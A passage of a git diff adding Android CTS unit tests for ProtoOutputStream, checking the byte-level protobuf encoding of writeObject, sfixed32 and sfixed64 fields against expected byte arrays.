+        try {
+            po.endRepeatedObject(token);
+        } catch (IllegalArgumentException ex) {
+            // good
+        }
+    }
+
+    /**
+     * Test that if endRepeatedObject is called with a token from startObject that it fails.
+     */
+    public void testMismatchedEndRepeatedObject() {
+        final ProtoOutputStream po = new ProtoOutputStream();
+        final long token = po.startRepeatedObject(ProtoOutputStream.makeFieldId(1,
+                    ProtoOutputStream.FIELD_COUNT_REPEATED | ProtoOutputStream.FIELD_TYPE_OBJECT));
+
+        try {
+            po.endObject(token);
+        } catch (IllegalArgumentException ex) {
+            // good
+        }
+    }
+
+    /**
+     * Test writeObject, which takes a pre-encoded and compacted protobuf object and writes it into
+     * a field.
+     */
+    public void testWriteObject() {
+        byte[] innerRaw = new byte[] {
+            // varint 1 -> 42
+            (byte)0x08,
+            (byte)0xd0, (byte)0x02,
+            // string 2 -> "ab"
+            (byte)0x12,
+            (byte)0x02,
+            (byte)0x62, (byte)0x63,
+            // object 3 -> ...
+            (byte)0x1a,
+            (byte)0x4,
+                // varint 4 -> 0
+                (byte)0x20,
+                (byte)0x00,
+                // varint 4 --> 1
+                (byte)0x20,
+                (byte)0x01,
+        };
+
+        final ProtoOutputStream po = new ProtoOutputStream();
+        po.writeObject(ProtoOutputStream.makeFieldId(10,
+                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT),
+                innerRaw);
+
+        final byte[] result = po.getBytes();
+        final byte[] expected = new byte[2 + innerRaw.length];
+        expected[0] = (byte)0x52;
+        expected[1] = (byte)0x0d;
+        System.arraycopy(innerRaw, 0, expected, 2, innerRaw.length);
+
+        Assert.assertArrayEquals(expected, result);
+    }
+
+    /**
+     * Test writeObject, which takes a pre-encoded and compacted protobuf object and writes it into
+     * a field.
+     */
+    public void testWriteObjectEmpty() {
+        byte[] innerRaw = new byte[0];
+
+        final ProtoOutputStream po = new ProtoOutputStream();
+        po.writeObject(ProtoOutputStream.makeFieldId(10,
+                    ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_OBJECT),
+                innerRaw);
+
+        final byte[] result = po.getBytes();
+
+        Assert.assertEquals(0, result.length);
+    }
+
+    /**
+     * Test writeObject, which takes a pre-encoded and compacted protobuf object and writes it into
+     * a field.
+     */
+    public void testWriteObjectRepeated() {
+        byte[] innerRaw = new byte[] {
+            // varint 1 -> 42
+            (byte)0x08,
+            (byte)0xd0, (byte)0x02,
+            // string 2 -> "ab"
+            (byte)0x12,
+            (byte)0x02,
+            (byte)0x62, (byte)0x63,
+            // object 3 -> ...
+            (byte)0x1a,
+            (byte)0x4,
+                // varint 4 -> 0
+                (byte)0x20,
+                (byte)0x00,
+                // varint 4 --> 1
+                (byte)0x20,
+                (byte)0x01,
+        };
+
+        final ProtoOutputStream po = new ProtoOutputStream();
+        po.writeRepeatedObject(ProtoOutputStream.makeFieldId(10,
+                    ProtoOutputStream.FIELD_COUNT_REPEATED | ProtoOutputStream.FIELD_TYPE_OBJECT),
+                innerRaw);
+
+        final byte[] result = po.getBytes();
+        final byte[] expected = new byte[2 + innerRaw.length];
+        expected[0] = (byte)0x52;
+        expected[1] = (byte)0x0d;
+        System.arraycopy(innerRaw, 0, expected, 2, innerRaw.length);
+
+        Assert.assertArrayEquals(expected, result);
+    }
+
+    /**
+     * Test writeObject, which takes a pre-encoded and compacted protobuf object and writes it into
+     * a field.
+     */
+    public void testWriteObjectRepeatedEmpty() {
+        byte[] innerRaw = new byte[0];
+
+        final ProtoOutputStream po = new ProtoOutputStream();
+        po.writeRepeatedObject(ProtoOutputStream.makeFieldId(10,
+                    ProtoOutputStream.FIELD_COUNT_REPEATED | ProtoOutputStream.FIELD_TYPE_OBJECT),
+                innerRaw);
+
+        Assert.assertArrayEquals(new byte[] {
+            (byte)0x52,
+            (byte)0x00
+        }, po.getBytes());
+    }
+}
diff --git a/tests/tests/proto/src/android/util/proto/cts/ProtoOutputStreamSFixed32Test.java b/tests/tests/proto/src/android/util/proto/cts/ProtoOutputStreamSFixed32Test.java
new file mode 100644
index 0000000..dbc9f49
--- /dev/null
+++ b/tests/tests/proto/src/android/util/proto/cts/ProtoOutputStreamSFixed32Test.java
@@ -0,0 +1,378 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.util.proto.cts;
+
+import android.util.proto.ProtoOutputStream;
+import android.util.proto.cts.nano.Test;
+
+import com.google.protobuf.nano.MessageNano;
+import junit.framework.TestCase;
+import org.junit.Assert;
+
+/**
+ * Test the sfixed32 methods on the ProtoOutputStream class.
+ */
+public class ProtoOutputStreamSFixed32Test extends TestCase {
+
+    // ----------------------------------------------------------------------
+    //  writeSFixed32
+    // ----------------------------------------------------------------------
+
+    /**
+     * Test writeSFixed32.
+     */
+    public void testWrite() throws Exception {
+        testWrite(0);
+        testWrite(1);
+        testWrite(5);
+    }
+
+    /**
+     * Implementation of testWrite with a given chunkSize.
+     */
+    public void testWrite(int chunkSize) throws Exception {
+        final ProtoOutputStream po = new ProtoOutputStream(chunkSize);
+        final long fieldFlags = ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_SFIXED32;
+
+        po.writeSFixed32(ProtoOutputStream.makeFieldId(1, fieldFlags), 0);
+        po.writeSFixed32(ProtoOutputStream.makeFieldId(2, fieldFlags), 1);
+        po.writeSFixed32(ProtoOutputStream.makeFieldId(3, fieldFlags), -1);
+        po.writeSFixed32(ProtoOutputStream.makeFieldId(4, fieldFlags), Integer.MIN_VALUE);
+        po.writeSFixed32(ProtoOutputStream.makeFieldId(5, fieldFlags), Integer.MAX_VALUE);
+
+        final byte[] result = po.getBytes();
+        Assert.assertArrayEquals(new byte[] {
+                // 1 -> 0 - default value, not written
+                // 2 -> 1
+                (byte)0x15,
+                (byte)0x01, (byte)0x00, (byte)0x00, (byte)0x00,
+                // 3 -> -1
+                (byte)0x1d,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff,
+                // 4 -> Integer.MIN_VALUE
+                (byte)0x25,
+                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x80,
+                // 5 -> Integer.MAX_VALUE
+                (byte)0x2d,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x7f,
+            }, result);
+    }
+
+    /**
+     * Test that writing a with ProtoOutputStream matches, and can be read by standard proto.
+     */
+    public void testWriteCompat() throws Exception {
+        testWriteCompat(0);
+        testWriteCompat(1);
+        testWriteCompat(-1);
+        testWriteCompat(Integer.MIN_VALUE);
+        testWriteCompat(Integer.MAX_VALUE);
+    }
+
+    /**
+     * Implementation of testWriteCompat with a given value.
+     */
+    public void testWriteCompat(int val) throws Exception {
+        final int fieldId = 110;
+        final long fieldFlags = ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_SFIXED32;
+
+        final Test.All all = new Test.All();
+        final ProtoOutputStream po = new ProtoOutputStream(0);
+
+        all.sfixed32Field = val;
+        po.writeSFixed32(ProtoOutputStream.makeFieldId(fieldId, fieldFlags), val);
+
+        final byte[] result = po.getBytes();
+        final byte[] expected = MessageNano.toByteArray(all);
+
+        Assert.assertArrayEquals(expected, result);
+
+        final Test.All readback = Test.All.parseFrom(result);
+
+        assertEquals(val, readback.sfixed32Field);
+    }
+
+    // ----------------------------------------------------------------------
+    //  writeRepeatedSFixed32
+    // ----------------------------------------------------------------------
+
+    /**
+     * Test writeSFixed32.
+     */
+    public void testRepeated() throws Exception {
+        testRepeated(0);
+        testRepeated(1);
+        testRepeated(5);
+    }
+
+    /**
+     * Implementation of testRepeated with a given chunkSize.
+     */
+    public void testRepeated(int chunkSize) throws Exception {
+        final ProtoOutputStream po = new ProtoOutputStream(chunkSize);
+        final long fieldFlags = ProtoOutputStream.FIELD_COUNT_REPEATED | ProtoOutputStream.FIELD_TYPE_SFIXED32;
+
+        po.writeRepeatedSFixed32(ProtoOutputStream.makeFieldId(1, fieldFlags), 0);
+        po.writeRepeatedSFixed32(ProtoOutputStream.makeFieldId(2, fieldFlags), 1);
+        po.writeRepeatedSFixed32(ProtoOutputStream.makeFieldId(3, fieldFlags), -1);
+        po.writeRepeatedSFixed32(ProtoOutputStream.makeFieldId(4, fieldFlags), Integer.MIN_VALUE);
+        po.writeRepeatedSFixed32(ProtoOutputStream.makeFieldId(5, fieldFlags), Integer.MAX_VALUE);
+
+        po.writeRepeatedSFixed32(ProtoOutputStream.makeFieldId(1, fieldFlags), 0);
+        po.writeRepeatedSFixed32(ProtoOutputStream.makeFieldId(2, fieldFlags), 1);
+        po.writeRepeatedSFixed32(ProtoOutputStream.makeFieldId(3, fieldFlags), -1);
+        po.writeRepeatedSFixed32(ProtoOutputStream.makeFieldId(4, fieldFlags), Integer.MIN_VALUE);
+        po.writeRepeatedSFixed32(ProtoOutputStream.makeFieldId(5, fieldFlags), Integer.MAX_VALUE);
+
+        final byte[] result = po.getBytes();
+        Assert.assertArrayEquals(new byte[] {
+                // 1 -> 0 - default value, written when repeated
+                (byte)0x0d,
+                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00,
+                // 2 -> 1
+                (byte)0x15,
+                (byte)0x01, (byte)0x00, (byte)0x00, (byte)0x00,
+                // 3 -> -1
+                (byte)0x1d,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff,
+                // 4 -> Integer.MIN_VALUE
+                (byte)0x25,
+                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x80,
+                // 5 -> Integer.MAX_VALUE
+                (byte)0x2d,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x7f,
+
+                // 1 -> 0 - default value, written when repeated
+                (byte)0x0d,
+                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00,
+                // 2 -> 1
+                (byte)0x15,
+                (byte)0x01, (byte)0x00, (byte)0x00, (byte)0x00,
+                // 3 -> -1
+                (byte)0x1d,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff,
+                // 4 -> Integer.MIN_VALUE
+                (byte)0x25,
+                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x80,
+                // 5 -> Integer.MAX_VALUE
+                (byte)0x2d,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x7f,
+            }, result);
+    }
+
+    /**
+     * Test that writing a with ProtoOutputStream matches, and can be read by standard proto.
+     */
+    public void testRepeatedCompat() throws Exception {
+        testRepeatedCompat(new int[0]);
+        testRepeatedCompat(new int[] { 0, 1, -1, Integer.MIN_VALUE, Integer.MAX_VALUE, });
+    }
+
+    /**
+     * Implementation of testRepeatedCompat with a given value.
+     */
+    public void testRepeatedCompat(int[] val) throws Exception {
+        final int fieldId = 111;
+        final long fieldFlags = ProtoOutputStream.FIELD_COUNT_REPEATED | ProtoOutputStream.FIELD_TYPE_SFIXED32;
+
+        final Test.All all = new Test.All();
+        final ProtoOutputStream po = new ProtoOutputStream(0);
+
+        all.sfixed32FieldRepeated = val;
+        for (int i=0; i<val.length; i++) {
+            po.writeRepeatedSFixed32(ProtoOutputStream.makeFieldId(fieldId, fieldFlags), val[i]);
+        }
+
+        final byte[] result = po.getBytes();
+        final byte[] expected = MessageNano.toByteArray(all);
+
+        Assert.assertArrayEquals(expected, result);
+
+        final Test.All readback = Test.All.parseFrom(result);
+
+        assertNotNull(readback.sfixed32FieldRepeated);
+        assertEquals(val.length, readback.sfixed32FieldRepeated.length);
+        for (int i=0; i<val.length; i++) {
+            assertEquals(val[i], readback.sfixed32FieldRepeated[i]);
+        }
+    }
+
+    // ----------------------------------------------------------------------
+    //  writePackedSFixed32
+    // ----------------------------------------------------------------------
+
+    /**
+     * Test writeSFixed32.
+     */
+    public void testPacked() throws Exception {
+        testPacked(0);
+        testPacked(1);
+        testPacked(5);
+    }
+
+    /**
+     * Create an array of the val, and write it.
+     */
+    private void writePackedSFixed32(ProtoOutputStream po, int fieldId, int val) {
+        final long fieldFlags = ProtoOutputStream.FIELD_COUNT_PACKED | ProtoOutputStream.FIELD_TYPE_SFIXED32;
+        po.writePackedSFixed32(ProtoOutputStream.makeFieldId(fieldId, fieldFlags),
+                new int[] { val, val });
+    }
+
+    /**
+     * Implementation of testPacked with a given chunkSize.
+     */
+    public void testPacked(int chunkSize) throws Exception {
+        final ProtoOutputStream po = new ProtoOutputStream(chunkSize);
+        final long fieldFlags = ProtoOutputStream.FIELD_COUNT_PACKED | ProtoOutputStream.FIELD_TYPE_SFIXED32;
+
+        po.writePackedSFixed32(ProtoOutputStream.makeFieldId(1000, fieldFlags), null);
+        po.writePackedSFixed32(ProtoOutputStream.makeFieldId(1001, fieldFlags), new int[0]);
+        writePackedSFixed32(po, 1, 0);
+        writePackedSFixed32(po, 2, 1);
+        writePackedSFixed32(po, 3, -1);
+        writePackedSFixed32(po, 4, Integer.MIN_VALUE);
+        writePackedSFixed32(po, 5, Integer.MAX_VALUE);
+
+        final byte[] result = po.getBytes();
+        Assert.assertArrayEquals(new byte[] {
+                // 1 -> 0 - default value, written when repeated
+                (byte)0x0a,
+                (byte)0x08,
+                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00,
+                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00,
+                // 2 -> 1
+                (byte)0x12,
+                (byte)0x08,
+                (byte)0x01, (byte)0x00, (byte)0x00, (byte)0x00,
+                (byte)0x01, (byte)0x00, (byte)0x00, (byte)0x00,
+                // 3 -> -1
+                (byte)0x1a,
+                (byte)0x08,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff,
+                // 4 -> Integer.MIN_VALUE
+                (byte)0x22,
+                (byte)0x08,
+                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x80,
+                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x80,
+                // 5 -> Integer.MAX_VALUE
+                (byte)0x2a,
+                (byte)0x08,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x7f,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x7f,
+            }, result);
+    }
+
+    /**
+     * Test that writing a with ProtoOutputStream matches, and can be read by standard proto.
+     */
+    public void testPackedCompat() throws Exception {
+        testPackedCompat(new int[] {});
+        testPackedCompat(new int[] { 0, 1, -1, Integer.MIN_VALUE, Integer.MAX_VALUE, });
+    }
+
+    /**
+     * Implementation of testPackedSFixed32Compat with a given value.
+     */
+    public void testPackedCompat(int[] val) throws Exception {
+        final int fieldId = 112;
+        final long fieldFlags = ProtoOutputStream.FIELD_COUNT_PACKED | ProtoOutputStream.FIELD_TYPE_SFIXED32;
+
+        final Test.All all = new Test.All();
+        final ProtoOutputStream po = new ProtoOutputStream(0);
+
+        all.sfixed32FieldPacked = val;
+        po.writePackedSFixed32(ProtoOutputStream.makeFieldId(fieldId, fieldFlags), val);
+
+        final byte[] result = po.getBytes();
+        final byte[] expected = MessageNano.toByteArray(all);
+
+        Assert.assertArrayEquals(expected, result);
+
+        final Test.All readback = Test.All.parseFrom(result);
+
+        Assert.assertArrayEquals(val, readback.sfixed32FieldPacked);
+    }
+
+    /**
+     * Test that if you pass in the wrong type of fieldId, it throws.
+     */
+    public void testBadFieldIds() {
+        // Single
+
+        // Good Count / Bad Type
+        try {
+            final ProtoOutputStream po = new ProtoOutputStream();
+            po.writeSFixed32(ProtoOutputStream.makeFieldId(1,
+                        ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_DOUBLE), 0);
+        } catch (IllegalArgumentException ex) {
+            // good
+        }
+
+        // Bad Count / Good Type
+        try {
+            final ProtoOutputStream po = new ProtoOutputStream();
+            po.writeSFixed32(ProtoOutputStream.makeFieldId(1,
+                        ProtoOutputStream.FIELD_COUNT_PACKED | ProtoOutputStream.FIELD_TYPE_SFIXED32), 0);
+        } catch (IllegalArgumentException ex) {
+            // good
+        }
+
+        // Repeated
+
+        // Good Count / Bad Type
+        try {
+            final ProtoOutputStream po = new ProtoOutputStream();
+            po.writeRepeatedSFixed32(ProtoOutputStream.makeFieldId(1,
+                        ProtoOutputStream.FIELD_COUNT_REPEATED | ProtoOutputStream.FIELD_TYPE_DOUBLE), 0);
+        } catch (IllegalArgumentException ex) {
+            // good
+        }
+
+        // Bad Count / Good Type
+        try {
+            final ProtoOutputStream po = new ProtoOutputStream();
+            po.writeRepeatedSFixed32(ProtoOutputStream.makeFieldId(1,
+                        ProtoOutputStream.FIELD_COUNT_PACKED | ProtoOutputStream.FIELD_TYPE_SFIXED32), 0);
+        } catch (IllegalArgumentException ex) {
+            // good
+        }
+
+        // Packed
+
+        // Good Count / Bad Type
+        try {
+            final ProtoOutputStream po = new ProtoOutputStream();
+            po.writePackedSFixed32(ProtoOutputStream.makeFieldId(1,
+                        ProtoOutputStream.FIELD_COUNT_PACKED | ProtoOutputStream.FIELD_TYPE_DOUBLE),
+                    new int[0]);
+        } catch (IllegalArgumentException ex) {
+            // good
+        }
+
+        // Bad Count / Good Type
+        try {
+            final ProtoOutputStream po = new ProtoOutputStream();
+            po.writePackedSFixed32(ProtoOutputStream.makeFieldId(1,
+                        ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_SFIXED32),
+                    new int[0]);
+        } catch (IllegalArgumentException ex) {
+            // good
+        }
+    }
+}
diff --git a/tests/tests/proto/src/android/util/proto/cts/ProtoOutputStreamSFixed64Test.java b/tests/tests/proto/src/android/util/proto/cts/ProtoOutputStreamSFixed64Test.java
new file mode 100644
index 0000000..c205987
--- /dev/null
+++ b/tests/tests/proto/src/android/util/proto/cts/ProtoOutputStreamSFixed64Test.java
@@ -0,0 +1,453 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.util.proto.cts;
+
+import android.util.proto.ProtoOutputStream;
+import android.util.proto.cts.nano.Test;
+
+import com.google.protobuf.nano.MessageNano;
+import junit.framework.TestCase;
+import org.junit.Assert;
+
+/**
+ * Test the sfixed64 methods on the ProtoOutputStream class.
+ */
+public class ProtoOutputStreamSFixed64Test extends TestCase {
+
+    // ----------------------------------------------------------------------
+    //  writeSFixed64
+    // ----------------------------------------------------------------------
+
+    /**
+     * Test writeSFixed64.
+     */
+    public void testWrite() throws Exception {
+        testWrite(0);
+        testWrite(1);
+        testWrite(5);
+    }
+
+    /**
+     * Implementation of testWrite with a given chunkSize.
+     */
+    public void testWrite(int chunkSize) throws Exception {
+        final ProtoOutputStream po = new ProtoOutputStream(chunkSize);
+        final long fieldFlags = ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_SFIXED64;
+
+        po.writeSFixed64(ProtoOutputStream.makeFieldId(1, fieldFlags), 0);
+        po.writeSFixed64(ProtoOutputStream.makeFieldId(2, fieldFlags), 1);
+        po.writeSFixed64(ProtoOutputStream.makeFieldId(3, fieldFlags), -1);
+        po.writeSFixed64(ProtoOutputStream.makeFieldId(4, fieldFlags), Integer.MIN_VALUE);
+        po.writeSFixed64(ProtoOutputStream.makeFieldId(5, fieldFlags), Integer.MAX_VALUE);
+        po.writeSFixed64(ProtoOutputStream.makeFieldId(6, fieldFlags), Long.MIN_VALUE);
+        po.writeSFixed64(ProtoOutputStream.makeFieldId(7, fieldFlags), Long.MAX_VALUE);
+
+
+        final byte[] result = po.getBytes();
+        Assert.assertArrayEquals(new byte[] {
+                // 1 -> 0 - default value, not written
+                // 2 -> 1
+                (byte)0x11,
+                (byte)0x01, (byte)0x00, (byte)0x00, (byte)0x00,
+                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00,
+                // 3 -> -1
+                (byte)0x19,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff,
+                // 4 -> Integer.MIN_VALUE
+                (byte)0x21,
+                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x80,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff,
+                // 5 -> Integer.MAX_VALUE
+                (byte)0x29,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x7f,
+                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00,
+                // 6 -> Long.MIN_VALUE
+                (byte)0x31,
+                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00,
+                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x80,
+                // 7 -> Long.MAX_VALUE
+                (byte)0x39,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x7f,
+            }, result);
+    }
+
+    /**
+     * Test that writing a with ProtoOutputStream matches, and can be read by standard proto.
+     */
+    public void testWriteCompat() throws Exception {
+        testWriteCompat(0);
+        testWriteCompat(1);
+        testWriteCompat(-1);
+        testWriteCompat(Integer.MIN_VALUE);
+        testWriteCompat(Integer.MAX_VALUE);
+        testWriteCompat(Long.MIN_VALUE);
+        testWriteCompat(Long.MAX_VALUE);
+    }
+
+    /**
+     * Implementation of testWriteCompat with a given value.
+     */
+    public void testWriteCompat(long val) throws Exception {
+        final int fieldId = 120;
+        final long fieldFlags = ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_SFIXED64;
+
+        final Test.All all = new Test.All();
+        final ProtoOutputStream po = new ProtoOutputStream(0);
+
+        all.sfixed64Field = val;
+        po.writeSFixed64(ProtoOutputStream.makeFieldId(fieldId, fieldFlags), val);
+
+        final byte[] result = po.getBytes();
+        final byte[] expected = MessageNano.toByteArray(all);
+
+        Assert.assertArrayEquals(expected, result);
+
+        final Test.All readback = Test.All.parseFrom(result);
+
+        assertEquals(val, readback.sfixed64Field);
+    }
+
+    // ----------------------------------------------------------------------
+    //  writeRepeatedSFixed64
+    // ----------------------------------------------------------------------
+
+    /**
+     * Test writeSFixed64.
+     */
+    public void testRepeated() throws Exception {
+        testRepeated(0);
+        testRepeated(1);
+        testRepeated(5);
+    }
+
+    /**
+     * Implementation of testRepeated with a given chunkSize.
+     */
+    public void testRepeated(int chunkSize) throws Exception {
+        final ProtoOutputStream po = new ProtoOutputStream(chunkSize);
+        final long fieldFlags = ProtoOutputStream.FIELD_COUNT_REPEATED | ProtoOutputStream.FIELD_TYPE_SFIXED64;
+
+        po.writeRepeatedSFixed64(ProtoOutputStream.makeFieldId(1, fieldFlags), 0);
+        po.writeRepeatedSFixed64(ProtoOutputStream.makeFieldId(2, fieldFlags), 1);
+        po.writeRepeatedSFixed64(ProtoOutputStream.makeFieldId(3, fieldFlags), -1);
+        po.writeRepeatedSFixed64(ProtoOutputStream.makeFieldId(4, fieldFlags), Integer.MIN_VALUE);
+        po.writeRepeatedSFixed64(ProtoOutputStream.makeFieldId(5, fieldFlags), Integer.MAX_VALUE);
+        po.writeRepeatedSFixed64(ProtoOutputStream.makeFieldId(6, fieldFlags), Long.MIN_VALUE);
+        po.writeRepeatedSFixed64(ProtoOutputStream.makeFieldId(7, fieldFlags), Long.MAX_VALUE);
+
+        po.writeRepeatedSFixed64(ProtoOutputStream.makeFieldId(1, fieldFlags), 0);
+        po.writeRepeatedSFixed64(ProtoOutputStream.makeFieldId(2, fieldFlags), 1);
+        po.writeRepeatedSFixed64(ProtoOutputStream.makeFieldId(3, fieldFlags), -1);
+        po.writeRepeatedSFixed64(ProtoOutputStream.makeFieldId(4, fieldFlags), Integer.MIN_VALUE);
+        po.writeRepeatedSFixed64(ProtoOutputStream.makeFieldId(5, fieldFlags), Integer.MAX_VALUE);
+        po.writeRepeatedSFixed64(ProtoOutputStream.makeFieldId(6, fieldFlags), Long.MIN_VALUE);
+        po.writeRepeatedSFixed64(ProtoOutputStream.makeFieldId(7, fieldFlags), Long.MAX_VALUE);
+
+        final byte[] result = po.getBytes();
+        Assert.assertArrayEquals(new byte[] {
+                // 1 -> 0 - default value, written when repeated
+                (byte)0x09,
+                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00,
+                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00,
+                // 2 -> 1
+                (byte)0x11,
+                (byte)0x01, (byte)0x00, (byte)0x00, (byte)0x00,
+                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00,
+                // 3 -> -1
+                (byte)0x19,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff,
+                // 4 -> Integer.MIN_VALUE
+                (byte)0x21,
+                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x80,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff,
+                // 5 -> Integer.MAX_VALUE
+                (byte)0x29,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x7f,
+                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00,
+                // 6 -> Long.MIN_VALUE
+                (byte)0x31,
+                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00,
+                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x80,
+                // 7 -> Long.MAX_VALUE
+                (byte)0x39,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x7f,
+
+                // 1 -> 0 - default value, written when repeated
+                (byte)0x09,
+                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00,
+                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00,
+                // 2 -> 1
+                (byte)0x11,
+                (byte)0x01, (byte)0x00, (byte)0x00, (byte)0x00,
+                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00,
+                // 3 -> -1
+                (byte)0x19,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff,
+                // 4 -> Integer.MIN_VALUE
+                (byte)0x21,
+                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x80,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff,
+                // 5 -> Integer.MAX_VALUE
+                (byte)0x29,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x7f,
+                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00,
+                // 6 -> Long.MIN_VALUE
+                (byte)0x31,
+                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00,
+                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x80,
+                // 7 -> Long.MAX_VALUE
+                (byte)0x39,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x7f,
+            }, result);
+    }
+
+    /**
+     * Test that writing a with ProtoOutputStream matches, and can be read by standard proto.
+     */
+    public void testRepeatedCompat() throws Exception {
+        testRepeatedCompat(new long[0]);
+        testRepeatedCompat(new long[] { 0, 1, -1, Integer.MIN_VALUE, Integer.MAX_VALUE,
+                Long.MIN_VALUE, Long.MAX_VALUE });
+    }
+
+    /**
+     * Implementation of testRepeatedCompat with a given value.
+     */
+    public void testRepeatedCompat(long[] val) throws Exception {
+        final int fieldId = 121;
+        final long fieldFlags = ProtoOutputStream.FIELD_COUNT_REPEATED | ProtoOutputStream.FIELD_TYPE_SFIXED64;
+
+        final Test.All all = new Test.All();
+        final ProtoOutputStream po = new ProtoOutputStream(0);
+
+        all.sfixed64FieldRepeated = val;
+        for (int i=0; i<val.length; i++) {
+            po.writeRepeatedSFixed64(ProtoOutputStream.makeFieldId(fieldId, fieldFlags), val[i]);
+        }
+
+        final byte[] result = po.getBytes();
+        final byte[] expected = MessageNano.toByteArray(all);
+
+        Assert.assertArrayEquals(expected, result);
+
+        final Test.All readback = Test.All.parseFrom(result);
+
+        assertNotNull(readback.sfixed64FieldRepeated);
+        assertEquals(val.length, readback.sfixed64FieldRepeated.length);
+        for (int i=0; i<val.length; i++) {
+            assertEquals(val[i], readback.sfixed64FieldRepeated[i]);
+        }
+    }
+
+    // ----------------------------------------------------------------------
+    //  writePackedSFixed64
+    // ----------------------------------------------------------------------
+
+    /**
+     * Test writeSFixed64.
+     */
+    public void testPacked() throws Exception {
+        testPacked(0);
+        testPacked(1);
+        testPacked(5);
+    }
+
+    /**
+     * Create an array of the val, and write it.
+     */
+    private void writePackedSFixed64(ProtoOutputStream po, int fieldId, long val) {
+        final long fieldFlags = ProtoOutputStream.FIELD_COUNT_PACKED | ProtoOutputStream.FIELD_TYPE_SFIXED64;
+        po.writePackedSFixed64(ProtoOutputStream.makeFieldId(fieldId, fieldFlags),
+                new long[] { val, val });
+    }
+
+    /**
+     * Implementation of testPacked with a given chunkSize.
+     */
+    public void testPacked(int chunkSize) throws Exception {
+        final ProtoOutputStream po = new ProtoOutputStream(chunkSize);
+        final long fieldFlags = ProtoOutputStream.FIELD_COUNT_PACKED | ProtoOutputStream.FIELD_TYPE_SFIXED64;
+
